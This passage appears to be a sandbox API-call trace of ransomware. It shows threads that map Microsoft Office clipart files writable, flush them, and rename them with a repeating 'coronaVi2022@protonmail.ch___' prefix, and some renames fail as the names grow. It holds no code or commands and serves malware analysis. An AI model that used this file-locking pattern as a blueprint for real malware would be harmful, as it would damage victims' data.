	[0094.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif")) returned 1
	[0094.867] free (_Block=0x51f3088) 
	[0094.867] RtlExitUserThread (Status=0x0) 

Thread:
	id = 577
	os_tid = 0x1974

	[0094.868] _alloca_probe () returned 0x40328a
	[0094.869] GetCurrentThreadId () returned 0x1974
	[0094.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", dwFileAttributes=0x80) returned 1
	[0094.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbb0
	[0094.869] GetFileSizeEx (in: hFile=0xbb0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13537) returned 1
	[0094.869] CreateFileMappingA (hFile=0xbb0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34e1, lpName=0x0) returned 0xba8
	[0094.869] MapViewOfFile (hFileMappingObject=0xba8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.873] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.873] CloseHandle (hObject=0xba8) returned 1
	[0094.873] GetCurrentThreadId () returned 0x1974
	[0094.873] FlushFileBuffers (hFile=0xbb0) returned 1
	[0094.875] CloseHandle (hObject=0xbb0) returned 1
	[0094.875] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 242
	[0094.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif")) returned 1
	[0094.876] free (_Block=0x51f0070) 
	[0094.876] RtlExitUserThread (Status=0x0) 

Thread:
	id = 578
	os_tid = 0x1978

	[0094.878] _alloca_probe () returned 0x40328a
	[0094.878] GetCurrentThreadId () returned 0x1978
	[0094.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", dwFileAttributes=0x80) returned 1
	[0094.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xba8
	[0094.879] GetFileSizeEx (in: hFile=0xba8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20209) returned 1
	[0094.879] CreateFileMappingA (hFile=0xba8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef1, lpName=0x0) returned 0xb90
	[0094.879] MapViewOfFile (hFileMappingObject=0xb90, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.883] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.883] CloseHandle (hObject=0xb90) returned 1
	[0094.883] GetCurrentThreadId () returned 0x1978
	[0094.883] FlushFileBuffers (hFile=0xba8) returned 1
	[0094.885] CloseHandle (hObject=0xba8) returned 1
	[0094.885] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 242
	[0094.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif")) returned 1
	[0094.886] free (_Block=0x51f0070) 
	[0094.886] RtlExitUserThread (Status=0x0) 

Thread:
	id = 579
	os_tid = 0x197c

	[0094.888] _alloca_probe () returned 0x40328a
	[0094.888] GetCurrentThreadId () returned 0x197c
	[0094.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", dwFileAttributes=0x80) returned 1
	[0094.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb90
	[0094.889] GetFileSizeEx (in: hFile=0xb90, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20481) returned 1
	[0094.889] CreateFileMappingA (hFile=0xb90, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5001, lpName=0x0) returned 0xbc4
	[0094.889] MapViewOfFile (hFileMappingObject=0xbc4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.893] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.894] CloseHandle (hObject=0xbc4) returned 1
	[0094.894] GetCurrentThreadId () returned 0x197c
	[0094.894] FlushFileBuffers (hFile=0xb90) returned 1
	[0094.896] CloseHandle (hObject=0xb90) returned 1
	[0094.896] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 242
	[0094.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif")) returned 1
	[0094.897] free (_Block=0x51f60a0) 
	[0094.897] RtlExitUserThread (Status=0x0) 

Thread:
	id = 580
	os_tid = 0x1980

	[0094.898] _alloca_probe () returned 0x40328a
	[0094.899] GetCurrentThreadId () returned 0x1980
	[0094.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", dwFileAttributes=0x80) returned 1
	[0094.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc4
	[0094.899] GetFileSizeEx (in: hFile=0xbc4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15745) returned 1
	[0094.899] CreateFileMappingA (hFile=0xbc4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d81, lpName=0x0) returned 0xbc8
	[0094.899] MapViewOfFile (hFileMappingObject=0xbc8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.903] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.903] CloseHandle (hObject=0xbc8) returned 1
	[0094.903] GetCurrentThreadId () returned 0x1980
	[0094.903] FlushFileBuffers (hFile=0xbc4) returned 1
	[0094.905] CloseHandle (hObject=0xbc4) returned 1
	[0094.905] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 242
	[0094.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif")) returned 1
	[0094.906] free (_Block=0x51f3088) 
	[0094.906] RtlExitUserThread (Status=0x0) 

Thread:
	id = 581
	os_tid = 0x1984

	[0094.908] _alloca_probe () returned 0x40328a
	[0094.908] GetCurrentThreadId () returned 0x1984
	[0094.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", dwFileAttributes=0x80) returned 1
	[0094.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc8
	[0094.908] GetFileSizeEx (in: hFile=0xbc8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9024) returned 1
	[0094.908] CreateFileMappingA (hFile=0xbc8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2340, lpName=0x0) returned 0xbcc
	[0094.909] MapViewOfFile (hFileMappingObject=0xbcc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.911] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.911] CloseHandle (hObject=0xbcc) returned 1
	[0094.911] GetCurrentThreadId () returned 0x1984
	[0094.911] FlushFileBuffers (hFile=0xbc8) returned 1
	[0094.917] CloseHandle (hObject=0xbc8) returned 1
	[0094.917] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 271
	[0094.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif")) returned 0
	[0094.917] free (_Block=0x51f3088) 
	[0094.917] RtlExitUserThread (Status=0x0) 

Thread:
	id = 582
	os_tid = 0x1988

	[0094.915] _alloca_probe () returned 0x40328a
	[0094.916] GetCurrentThreadId () returned 0x1988
	[0094.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", dwFileAttributes=0x80) returned 1
	[0094.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbd0
	[0094.916] GetFileSizeEx (in: hFile=0xbd0, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=7216) returned 1
	[0094.916] CreateFileMappingA (hFile=0xbd0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0xbd4
	[0094.916] MapViewOfFile (hFileMappingObject=0xbd4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0094.919] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0094.919] CloseHandle (hObject=0xbd4) returned 1
	[0094.919] GetCurrentThreadId () returned 0x1988
	[0094.919] FlushFileBuffers (hFile=0xbd0) returned 1
	[0094.921] CloseHandle (hObject=0xbd0) returned 1
	[0094.921] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 271
	[0094.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif")) returned 0
	[0094.922] free (_Block=0x51f0070) 
	[0094.922] RtlExitUserThread (Status=0x0) 

Thread:
	id = 583
	os_tid = 0x198c

	[0094.923] _alloca_probe () returned 0x40328a
	[0094.924] GetCurrentThreadId () returned 0x198c
	[0094.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", dwFileAttributes=0x80) returned 1
	[0094.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbd4
	[0094.924] GetFileSizeEx (in: hFile=0xbd4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=14881) returned 1
	[0094.924] CreateFileMappingA (hFile=0xbd4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a21, lpName=0x0) returned 0xbc8
	[0094.924] MapViewOfFile (hFileMappingObject=0xbc8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.928] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.928] CloseHandle (hObject=0xbc8) returned 1
	[0094.928] GetCurrentThreadId () returned 0x198c
	[0094.928] FlushFileBuffers (hFile=0xbd4) returned 1
	[0094.930] CloseHandle (hObject=0xbd4) returned 1
	[0094.930] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 271
	[0094.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif")) returned 0
	[0094.931] free (_Block=0x51f3088) 
	[0094.931] RtlExitUserThread (Status=0x0) 

Thread:
	id = 584
	os_tid = 0x1990

	[0094.932] _alloca_probe () returned 0x40328a
	[0094.933] GetCurrentThreadId () returned 0x1990
	[0094.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", dwFileAttributes=0x80) returned 1
	[0094.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc8
	[0094.933] GetFileSizeEx (in: hFile=0xbc8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6721) returned 1
	[0094.934] CreateFileMappingA (hFile=0xbc8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a41, lpName=0x0) returned 0xbd8
	[0094.934] MapViewOfFile (hFileMappingObject=0xbd8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.936] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.936] CloseHandle (hObject=0xbd8) returned 1
	[0094.936] GetCurrentThreadId () returned 0x1990
	[0094.936] FlushFileBuffers (hFile=0xbc8) returned 1
	[0094.938] CloseHandle (hObject=0xbc8) returned 1
